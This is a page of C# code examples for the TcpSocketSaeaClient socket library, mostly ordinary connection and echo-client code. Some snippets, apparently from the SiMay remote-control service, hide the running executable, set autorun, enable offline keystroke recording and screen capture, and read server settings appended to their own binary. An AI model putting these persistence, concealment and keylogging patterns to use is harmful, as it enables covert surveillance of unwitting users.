Пример #1
0
        public async void ConnectWMSServer()
        {
            _clientConfig = new TcpSocketSaeaClientConfiguration {
                FrameBuilder = new LengthPrefixedFrameSlimSlimBuilder()
            };

            _clientDispatcher = new ClientEventDispatcher();
            _clientDispatcher.ClientStartedEvent      += new ClientEventDispatcher.OnServerStartedEventHandler(OnClientStarted);
            _clientDispatcher.ClientDataReceivedEvent += new ClientEventDispatcher.OnServerDataReceivedEventHandler(OnClientDataReceived);
            _clientDispatcher.ClientClosedEvent       += new ClientEventDispatcher.OnServerClosedEventHandler(OnClientClosed);

            //the actual debugging
            //private IPEndPoint serverPoint = new IPEndPoint(IPAddress.Parse("192.168.6.3"), 2002);
            //private IPEndPoint localPoint = new IPEndPoint(IPAddress.Parse("192.168.6.100"), 3000);

            //the test debugging
            var serverPoint = new IPEndPoint(IPAddress.Parse("192.168.0.20"), 2002);
            var localPoint  = new IPEndPoint(IPAddress.Parse("192.168.0.20"), 3005);

            try
            {
                if (_client != null)
                {
                    _client.Dispose();
                }
                _client = new TcpSocketSaeaClient(serverPoint, localPoint, _clientDispatcher, _clientConfig);
                await _client.Connect();
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message.ToString());
            }
        }
Пример #2
0
 public static TcpSocketSaeaClientAgent CreateClientAgent(
     TcpSocketSaeaSessionType saeaSessionType,
     TcpSocketSaeaClientConfiguration configuration,
     NotifyEventHandler <TcpSocketCompletionNotify, TcpSocketSaeaSession> completetionNotify)
 {
     configuration._intervalWhetherService = false;
     return(new TcpSocketSaeaClientAgent(saeaSessionType, configuration, completetionNotify));
 }
Пример #3
0
 public TcpSocketSaeaClient(IPAddress remoteAddress, int remotePort, IPAddress localAddress, int localPort,
     Func<TcpSocketSaeaClient, byte[], int, int, Task> onServerDataReceived = null,
     Func<TcpSocketSaeaClient, Task> onServerConnected = null,
     Func<TcpSocketSaeaClient, Task> onServerDisconnected = null,
     TcpSocketSaeaClientConfiguration configuration = null)
     : this(new IPEndPoint(remoteAddress, remotePort), new IPEndPoint(localAddress, localPort),
           onServerDataReceived, onServerConnected, onServerDisconnected, configuration)
 {
 }
 /// <summary>
 /// 创建客户端。
 /// </summary>
 /// <param name="endPoint">终结点。</param>
 /// <returns>传输客户端实例。</returns>
 public ITransportClient CreateClient(EndPoint endPoint)
 {
     var config = new TcpSocketSaeaClientConfiguration();
     var key = endPoint.ToString();
     return _clients.GetOrAdd(key, k => new Lazy<ITransportClient>(() =>
     {
         var messageListener = new MessageListener();
         var client = new TcpSocketSaeaClient((IPEndPoint)endPoint, new SimpleMessageDispatcher(messageListener, _transportMessageCodecFactory, _logger), config);
         client.Connect().Wait();
         return new TransportClient(new SimpleClientMessageSender(_transportMessageCodecFactory.GetEncoder(), client), messageListener, _logger, _serviceExecutor);
     })).Value;
 }
 internal TcpSocketSaeaClientAgent(
     TcpSocketSaeaSessionType saeaSessionType,
     TcpSocketSaeaClientConfiguration configuration,
     NotifyEventHandler <TcpSocketCompletionNotify, TcpSocketSaeaSession> completetionNotify)
     : base(saeaSessionType, configuration, completetionNotify)
 {
     if (configuration.AppKeepAlive &&
         saeaSessionType == TcpSocketSaeaSessionType.Packet)
     {
         var keepAliveThread = new Thread(AppKeepAliveWorkThread);
         keepAliveThread.IsBackground = true;
         keepAliveThread.Start();
     }
 }
Пример #6
0
        public TcpSocketSaeaClient(IPEndPoint remoteEP, IPEndPoint localEP, ITcpSocketSaeaClientMessageDispatcher dispatcher, TcpSocketSaeaClientConfiguration configuration = null)
        {
            if (remoteEP == null)
                throw new ArgumentNullException("remoteEP");
            if (dispatcher == null)
                throw new ArgumentNullException("dispatcher");

            _remoteEndPoint = remoteEP;
            _localEndPoint = localEP;
            _dispatcher = dispatcher;
            _configuration = configuration ?? new TcpSocketSaeaClientConfiguration();

            if (_configuration.FrameBuilder == null)
                throw new InvalidProgramException("The frame handler in configuration cannot be null.");

            Initialize();
        }
Пример #7
0
        static void Main(string[] args)
        {
            NLogLogger.Use();

            try
            {
                var config = new TcpSocketSaeaClientConfiguration();

                IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 22222);
                _client = new TcpSocketSaeaClient(remoteEP, new SimpleMessageDispatcher(), config);
                _client.Connect().Wait();

                Console.WriteLine("TCP client has connected to server [{0}].", remoteEP);
                Console.WriteLine("Type something to send to server...");
                while (true)
                {
                    try
                    {
                        string text = Console.ReadLine();
                        if (text == "quit")
                        {
                            break;
                        }
                        Task.Run(async() =>
                        {
                            await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                            Console.WriteLine("Client [{0}] send text -> [{1}].", _client.LocalEndPoint, text);
                        });
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }

                _client.Close().Wait();
                Console.WriteLine("TCP client has disconnected from server [{0}].", remoteEP);
            }
            catch (Exception ex)
            {
                Logger.Get <Program>().Error(ex.Message, ex);
            }

            Console.ReadKey();
        }
Пример #8
0
        /// <summary>
        /// 创建客户端。
        /// </summary>
        /// <param name="endPoint">终结点。</param>
        /// <returns>传输客户端实例。</returns>
        public ITransportClient CreateClient(EndPoint endPoint)
        {
            var config = new TcpSocketSaeaClientConfiguration();
            var key    = endPoint.ToString();

            return(_clients.GetOrAdd(key, k => new Lazy <ITransportClient>(() =>
            {
                var messageListener = new MessageListener();
                Func <TcpSocketSaeaClient> clientFactory = () =>
                {
                    var client = new TcpSocketSaeaClient((IPEndPoint)endPoint,
                                                         new SimpleMessageDispatcher(messageListener, _transportMessageCodecFactory, _logger), config);
                    client.Connect().Wait();
                    return client;
                };
                return new TransportClient(new SimpleClientMessageSender(_transportMessageCodecFactory.GetEncoder(), clientFactory), messageListener, _logger, _serviceExecutor);
            })).Value);
        }
Пример #9
0
        static void Main(string[] args)
        {
            NLogLogger.Use();

            try
            {
                var config = new TcpSocketSaeaClientConfiguration();

                IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 22222);
                _client = new TcpSocketSaeaClient(remoteEP, new SimpleMessageDispatcher(), config);
                _client.Connect().Wait();

                Console.WriteLine("TCP client has connected to server [{0}].", remoteEP);
                Console.WriteLine("Type something to send to server...");
                while (true)
                {
                    try
                    {
                        string text = Console.ReadLine();
                        if (text == "quit")
                            break;
                        Task.Run(async () =>
                        {
                            await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                            Console.WriteLine("Client [{0}] send text -> [{1}].", _client.LocalEndPoint, text);
                        });
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }

                _client.Close().Wait();
                Console.WriteLine("TCP client has disconnected from server [{0}].", remoteEP);
            }
            catch (Exception ex)
            {
                Logger.Get<Program>().Error(ex.Message, ex);
            }

            Console.ReadKey();
        }
Пример #10
0
        /// <summary>
        /// session代理提供器构造函数
        /// </summary>
        /// <param name="options">代理配置设置</param>
        /// <param name="onSessionNotifyProc">session事件通知</param>
        /// <param name="onProxyNotify">代理事件通知</param>
        internal TcpProxySessionProvider(SessionProviderOptions options)
        {
            ApplicationConfiguartion.SetOptions(options);

            var clientConfig = new TcpSocketSaeaClientConfiguration();

            clientConfig.ReuseAddress      = true;
            clientConfig.KeepAlive         = true;
            clientConfig.KeepAliveInterval = 5000;
            clientConfig.KeepAliveSpanTime = 1000;

            //不启用压缩
            clientConfig.CompressTransferFromPacket = false;
            //停用应用心跳检测线程
            clientConfig.AppKeepAlive = false;

            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, (notify, session) =>
            {
                switch (notify)
                {
                case TcpSessionNotify.OnConnected:
                    this.ConnectedHandler(session);
                    break;

                case TcpSessionNotify.OnSend:
                    this.OnSend(session);
                    break;

                case TcpSessionNotify.OnDataReceived:
                    this.OnMessageHandler(session);
                    break;

                case TcpSessionNotify.OnClosed:
                    this.OnClosed(session);
                    break;

                default:
                    break;
                }
            });
        }
Пример #11
0
        internal TcpProxySessionProviderHandle(
            SessionProviderOptions options,
            OnSessionNotify <SessionCompletedNotify, SessionHandler> onSessionNotifyProc,
            OnProxyNotify <ProxyNotify> onProxyNotify)
            : base(onSessionNotifyProc)
        {
            _options       = options;
            _onProxyNotify = onProxyNotify;

            var clientConfig = new TcpSocketSaeaClientConfiguration();

            clientConfig.ReuseAddress      = true;
            clientConfig.KeepAlive         = true;
            clientConfig.KeepAliveInterval = 5000;
            clientConfig.KeepAliveSpanTime = 1000;

            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Full, clientConfig, (notify, session) =>
            {
                switch (notify)
                {
                case TcpSocketCompletionNotify.OnConnected:
                    this.ConnectionProcess(session);
                    break;

                case TcpSocketCompletionNotify.OnSend:
                    this.OnSend(session);
                    break;

                case TcpSocketCompletionNotify.OnDataReceiveing:
                    this.PacketProcess(session);
                    break;

                case TcpSocketCompletionNotify.OnClosed:
                    this.OnClosed(session);
                    break;

                default:
                    break;
                }
            });
        }
Пример #12
0
        private void Form1_Load(object sender, EventArgs e)
        {
            //模式说明
            //Full模式:仅接收发送数据(高性能的数据接收模型,可启用TcpKeepAlive选项)注:数据压缩丶AppKeepAlive选项在Full模式下启用无效
            //Pack模式:自动处理分包(高性能的数据接收模型,自动处理分包,可启用数据压缩丶应用层心跳包丶TcpKeepAlive选项)


            //设置在Socket初始化后无法修改
            TcpSocketSaeaClientConfiguration clientConfig = new TcpSocketSaeaClientConfiguration();

            clientConfig.KeepAlive    = false;
            clientConfig.AppKeepAlive = true;
            client = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Client_CompletetionNotify);



            TcpSocketSaeaServerConfiguration serverConfig = new TcpSocketSaeaServerConfiguration();

            serverConfig.KeepAlive    = false;
            serverConfig.AppKeepAlive = true;
            server = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Packet, serverConfig, Server_CompletetionNotify);
        }
Пример #13
0
        private void InitConntectTrunkService()
        {
            var clientConfig = new TcpSocketSaeaClientConfiguration();

            _socketSaeaClientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig,
                                                                         (notity, session) =>
            {
                switch (notity)
                {
                case TcpSocketCompletionNotify.OnConnected:
                    LogHelper.DebugWriteLog("InitConntectTrunkService:OnClosed");
                    _trunkTcpSession = session;
                    SendActiveFlag();
                    break;

                case TcpSocketCompletionNotify.OnSend:
                    break;

                case TcpSocketCompletionNotify.OnDataReceiveing:
                    break;

                case TcpSocketCompletionNotify.OnDataReceived:
                    _handlerBinder.InvokePacketHandler(session, session.CompletedBuffer.GetMessageHead <TrunkMessageHead>(), this);
                    break;

                case TcpSocketCompletionNotify.OnClosed:
                    LogHelper.DebugWriteLog("InitConntectTrunkService:OnClosed");
                    _trunkTcpSession = null;
                    _autoReset.Set();
                    SessionCloseHandler();
                    break;

                default:
                    break;
                }
            });
        }
Пример #14
0
        public MainService()
        {
            if (AppConfiguartion.IsHideExcutingFile)
            {
                ComputerSessionHelper.SetExecutingFileHide(true);
            }

            if (AppConfiguartion.IsAutoRun)
            {
                ComputerSessionHelper.SetAutoRun(true);
            }

            if (!int.TryParse(AppConfiguartion.ScreenRecordHeight, out _screen_record_height))
            {
                _screen_record_height = 800;
            }

            if (!int.TryParse(AppConfiguartion.ScreenRecordWidth, out _screen_record_width))
            {
                _screen_record_width = 1200;
            }

            if (!int.TryParse(AppConfiguartion.ScreenRecordSpanTime, out _screen_record_spantime))
            {
                _screen_record_spantime = 3000;
            }

            bool bKeyboardOffline;

            if (!bool.TryParse(AppConfiguartion.KeyboardOffline, out bKeyboardOffline))
            {
                bKeyboardOffline = false;
            }

            if (bKeyboardOffline)
            {
                Keyboard _keyboard = Keyboard.GetKeyboardInstance();
                _keyboard.Initialization();
                _keyboard.StartOfflineRecords();//开始离线记录
            }
            //创建通讯接口实例
            var clientConfig = new TcpSocketSaeaClientConfiguration();

            if (!AppConfiguartion.IsCentreServiceMode)
            {
                //服务版配置
                clientConfig.AppKeepAlive = true;
                clientConfig.KeepAlive    = false;
            }
            else
            {
                //中间服务器版服务端配置
                clientConfig.AppKeepAlive = false;
                clientConfig.KeepAlive    = true;
            }
            clientConfig.KeepAliveInterval = 5000;
            clientConfig.KeepAliveSpanTime = 1000;

            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, CompletetionNotify);
            ConnectToServer();
        }
Пример #15
0
 public TcpSocketSaeaClient(IPEndPoint remoteEP,
     Func<TcpSocketSaeaClient, byte[], int, int, Task> onServerDataReceived = null,
     Func<TcpSocketSaeaClient, Task> onServerConnected = null,
     Func<TcpSocketSaeaClient, Task> onServerDisconnected = null,
     TcpSocketSaeaClientConfiguration configuration = null)
     : this(remoteEP, null,
           onServerDataReceived, onServerConnected, onServerDisconnected, configuration)
 {
 }
        public MainService(StartParameterEx startParameter)
        {
            while (true) //第一次解析域名,直至解析成功
            {
                var ip = IPHelper.GetHostByName(startParameter.Host);
                if (ip != null)
                {
                    AppConfiguartion.ServerIPEndPoint = new IPEndPoint(IPAddress.Parse(ip), startParameter.Port);
                    break;
                }

                Console.WriteLine(startParameter.Host ?? "address analysis is null");

                Thread.Sleep(5000);
            }
            AppConfiguartion.HostAddress        = startParameter.Host;
            AppConfiguartion.HostPort           = startParameter.Port;
            AppConfiguartion.AccessKey          = startParameter.AccessKey;
            AppConfiguartion.DefaultRemarkInfo  = startParameter.RemarkInformation;
            AppConfiguartion.DefaultGroupName   = startParameter.GroupName;
            AppConfiguartion.IsAutoRun          = startParameter.IsAutoStart;
            AppConfiguartion.IsHideExcutingFile = startParameter.IsHide;
            AppConfiguartion.RunTime            = startParameter.RunTimeText;
            AppConfiguartion.Version            = startParameter.ServiceVersion;
            AppConfiguartion.CenterServiceMode  = startParameter.SessionMode == 1 ? true : false;
            AppConfiguartion.IdentifyId         = startParameter.UniqueId;

            if (AppConfiguartion.IsHideExcutingFile)
            {
                SystemSessionHelper.SetExecutingFileHide(true);
            }

            if (AppConfiguartion.IsAutoRun)
            {
                SystemSessionHelper.SetAutoRun(true);
            }

            _screen_record_height   = AppConfiguartion.ScreenRecordHeight;
            _screen_record_width    = AppConfiguartion.ScreenRecordWidth;
            _screen_record_spantime = AppConfiguartion.ScreenRecordSpanTime;

            //创建通讯接口实例
            var clientConfig = new TcpSocketSaeaClientConfiguration();

            if (!AppConfiguartion.CenterServiceMode)
            {
                //服务版配置
                clientConfig.AppKeepAlive = true;
                clientConfig.KeepAlive    = false;
            }
            else
            {
                //中间服务器版服务端配置
                clientConfig.AppKeepAlive = false;
                clientConfig.KeepAlive    = true;
            }
            clientConfig.KeepAliveInterval          = 5000;
            clientConfig.KeepAliveSpanTime          = 1000;
            clientConfig.CompressTransferFromPacket = false;

            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Notify);
            ConnectToServer();
        }
Пример #17
0
 public TcpSocketSaeaClient(IPEndPoint remoteEP, IPEndPoint localEP,
     Func<TcpSocketSaeaClient, byte[], int, int, Task> onServerDataReceived = null,
     Func<TcpSocketSaeaClient, Task> onServerConnected = null,
     Func<TcpSocketSaeaClient, Task> onServerDisconnected = null,
     TcpSocketSaeaClientConfiguration configuration = null)
     : this(remoteEP, localEP,
          new InternalTcpSocketSaeaClientMessageDispatcherImplementation(onServerDataReceived, onServerConnected, onServerDisconnected),
          configuration)
 {
 }
Пример #18
0
 public TcpSocketSaeaClient(IPAddress remoteAddress, int remotePort, ITcpSocketSaeaClientMessageDispatcher dispatcher, TcpSocketSaeaClientConfiguration configuration = null)
     : this(new IPEndPoint(remoteAddress, remotePort), dispatcher, configuration)
 {
 }
Пример #19
0
        static void Main(string[] args)
        {
            NLogLogger.Use();

            try
            {
                var config = new TcpSocketSaeaClientConfiguration();

                //config.FrameBuilder = new FixedLengthFrameBuilder(20000);
                //config.FrameBuilder = new RawBufferFrameBuilder();
                //config.FrameBuilder = new LineBasedFrameBuilder();
                //config.FrameBuilder = new LengthPrefixedFrameBuilder();
                //config.FrameBuilder = new LengthFieldBasedFrameBuilder();

                IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 22222);
                _client = new TcpSocketSaeaClient(remoteEP, new SimpleEventDispatcher(), config);
                _client.Connect().Wait();

                Console.WriteLine("TCP client has connected to server [{0}].", remoteEP);
                Console.WriteLine("Type something to send to server...");
                while (true)
                {
                    try
                    {
                        string text = Console.ReadLine();
                        if (text == "quit")
                        {
                            break;
                        }
                        Task.Run(async() =>
                        {
                            if (text == "many")
                            {
                                text = new string('x', 8192);
                                for (int i = 0; i < 1000000; i++)
                                {
                                    await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                    Console.WriteLine("Client [{0}] send text -> [{1}].", _client.LocalEndPoint, text);
                                }
                            }
                            else if (text == "big1k")
                            {
                                text = new string('x', 1024 * 1);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                            else if (text == "big10k")
                            {
                                text = new string('x', 1024 * 10);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                            else if (text == "big100k")
                            {
                                text = new string('x', 1024 * 100);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                            else if (text == "big1m")
                            {
                                text = new string('x', 1024 * 1024 * 1);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                            else if (text == "big10m")
                            {
                                text = new string('x', 1024 * 1024 * 10);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                            else if (text == "big100m")
                            {
                                text = new string('x', 1024 * 1024 * 100);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                            else if (text == "big1g")
                            {
                                text = new string('x', 1024 * 1024 * 1024);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                            else
                            {
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1} Bytes].", _client.LocalEndPoint, text.Length);
                            }
                        });
                    }
                    catch (Exception ex)
                    {
                        Logger.Get <Program>().Error(ex.Message, ex);
                    }
                }

                _client.Shutdown();
                Console.WriteLine("TCP client has disconnected from server [{0}].", remoteEP);
            }
            catch (Exception ex)
            {
                Logger.Get <Program>().Error(ex.Message, ex);
            }

            Console.ReadKey();
        }
Пример #20
0
 public TcpSocketSaeaClient(IPEndPoint remoteEP, ITcpSocketSaeaClientMessageDispatcher dispatcher, TcpSocketSaeaClientConfiguration configuration = null)
     : this(remoteEP, null, dispatcher, configuration)
 {
 }
        static void Main(string[] args)
        {
            _startParameter = new StartParameter()
            {
                Host              = "127.0.0.1",
                Port              = 5200,
                GroupName         = "默认分组",
                RemarkInformation = "SiMayService远程管理",
                IsHide            = false,
                IsMutex           = false,
                IsAutoStart       = false,
                SessionMode       = 0,
                AccessKey         = 5200,
                ServiceVersion    = "正式5.0",
                RunTimeText       = DateTime.Now.ToString(),
                UniqueId          = "AAAAAAAAAAAAAAA11111111"
            };
            //_startParameter.Host = "94.191.115.121";
            byte[] binary = File.ReadAllBytes(Application.ExecutablePath);
            var    sign   = BitConverter.ToInt16(binary, binary.Length - sizeof(Int16));

            if (sign == 9999)
            {
                var    length = BitConverter.ToInt32(binary, binary.Length - sizeof(Int16) - sizeof(Int32));
                byte[] bytes  = new byte[length];
                Array.Copy(binary, binary.Length - sizeof(Int16) - sizeof(Int32) - length, bytes, 0, length);

                int index  = 0;
                int id_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string id = Encoding.Unicode.GetString(bytes, index, id_len);
                index += id_len;
                int host_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string host = Encoding.Unicode.GetString(bytes, index, host_len);
                index += host_len;
                int port = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                int des_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string des = Encoding.Unicode.GetString(bytes, index, des_len);
                index += des_len;
                int group_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string groupName = Encoding.Unicode.GetString(bytes, index, group_len);
                index += group_len;
                bool isHide = BitConverter.ToBoolean(bytes, index);
                index += sizeof(bool);
                bool isAutoStart = BitConverter.ToBoolean(bytes, index);
                index += sizeof(bool);
                int sessionMode = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                int accessKey = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                bool isMutex = BitConverter.ToBoolean(bytes, index);
                index += sizeof(bool);

                _startParameter.Host = host;
                _startParameter.Port = port;
                _startParameter.RemarkInformation = des;
                _startParameter.IsAutoStart       = isAutoStart;
                _startParameter.IsHide            = isHide;
                _startParameter.AccessKey         = accessKey;
                _startParameter.SessionMode       = sessionMode;
                _startParameter.UniqueId          = id;
                _startParameter.IsMutex           = isMutex;
                _startParameter.GroupName         = groupName;
            }

            if (_startParameter.IsMutex)
            {
                //进程互斥体
                Mutex MyMutex = new Mutex(true, "SiMayService", out var bExist);
                if (!bExist)
                {
                    Environment.Exit(0);
                }
            }

            if (_startParameter.IsHide)
            {
                CommonHelper.SetExecutingFileHide(true);
            }

            if (_startParameter.IsAutoStart)
            {
                CommonHelper.SetAutoRun(true);
            }

            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
            Application.ThreadException += Application_ThreadException;

            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            AppDomain.CurrentDomain.AssemblyResolve    += (s, p) =>
            {
                var key      = p.Name.Split(',')[0] + ".dll";
                var assembly = Assembly.Load(_pluginCOMs[key]);
                _pluginCOMs.Remove(key);
                return(assembly);
            };

            var clientConfig = new TcpSocketSaeaClientConfiguration();

            if (_startParameter.SessionMode == 0)
            {
                //服务版配置
                clientConfig.AppKeepAlive = true;
                clientConfig.KeepAlive    = false;
            }
            else
            {
                //中间服务器版服务端配置
                clientConfig.AppKeepAlive = false;
                clientConfig.KeepAlive    = true;
            }
            clientConfig.KeepAliveInterval = 5000;
            clientConfig.KeepAliveSpanTime = 1000;
            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Notify);
            while (true) //第一次解析域名,直至解析成功
            {
                var ip = CommonHelper.GetHostByName(_startParameter.Host);
                if (ip != null)
                {
                    _iPEndPoint = new IPEndPoint(IPAddress.Parse(ip), _startParameter.Port);
                    break;
                }

                Console.WriteLine(_startParameter.Host ?? "address analysis is null");

                Thread.Sleep(5000);
            }
            ConnectToServer();

            Application.Run();
        }
Пример #22
0
        static void Main(string[] args)
        {
            NLogLogger.Use();

            try
            {
                var config = new TcpSocketSaeaClientConfiguration();

                //config.FrameBuilder = new FixedLengthFrameBuilder(20000);
                //config.FrameBuilder = new RawBufferFrameBuilder();
                //config.FrameBuilder = new LineBasedFrameBuilder();
                //config.FrameBuilder = new LengthPrefixedFrameBuilder();
                //config.FrameBuilder = new LengthFieldBasedFrameBuilder();

                IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 22222);
                _client = new TcpSocketSaeaClient(remoteEP, new SimpleMessageDispatcher(), config);
                _client.Connect().Wait();

                Console.WriteLine("TCP client has connected to server [{0}].", remoteEP);
                Console.WriteLine("Type something to send to server...");
                while (true)
                {
                    try
                    {
                        string text = Console.ReadLine();
                        if (text == "quit")
                            break;
                        Task.Run(async () =>
                        {
                            if (text == "many")
                            {
                                text = new string('x', 8192);
                                for (int i = 0; i < 1000000; i++)
                                {
                                    await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                    Console.WriteLine("Client [{0}] send text -> [{1}].", _client.LocalEndPoint, text);
                                }
                            }
                            else if (text == "big")
                            {
                                text = new string('x', 1024 * 1024 * 100);
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1}].", _client.LocalEndPoint, text);
                            }
                            else
                            {
                                await _client.SendAsync(Encoding.UTF8.GetBytes(text));
                                Console.WriteLine("Client [{0}] send text -> [{1}].", _client.LocalEndPoint, text);
                            }
                        });
                    }
                    catch (Exception ex)
                    {
                        Logger.Get<Program>().Error(ex.Message, ex);
                    }
                }

                _client.Close().Wait();
                Console.WriteLine("TCP client has disconnected from server [{0}].", remoteEP);
            }
            catch (Exception ex)
            {
                Logger.Get<Program>().Error(ex.Message, ex);
            }

            Console.ReadKey();
        }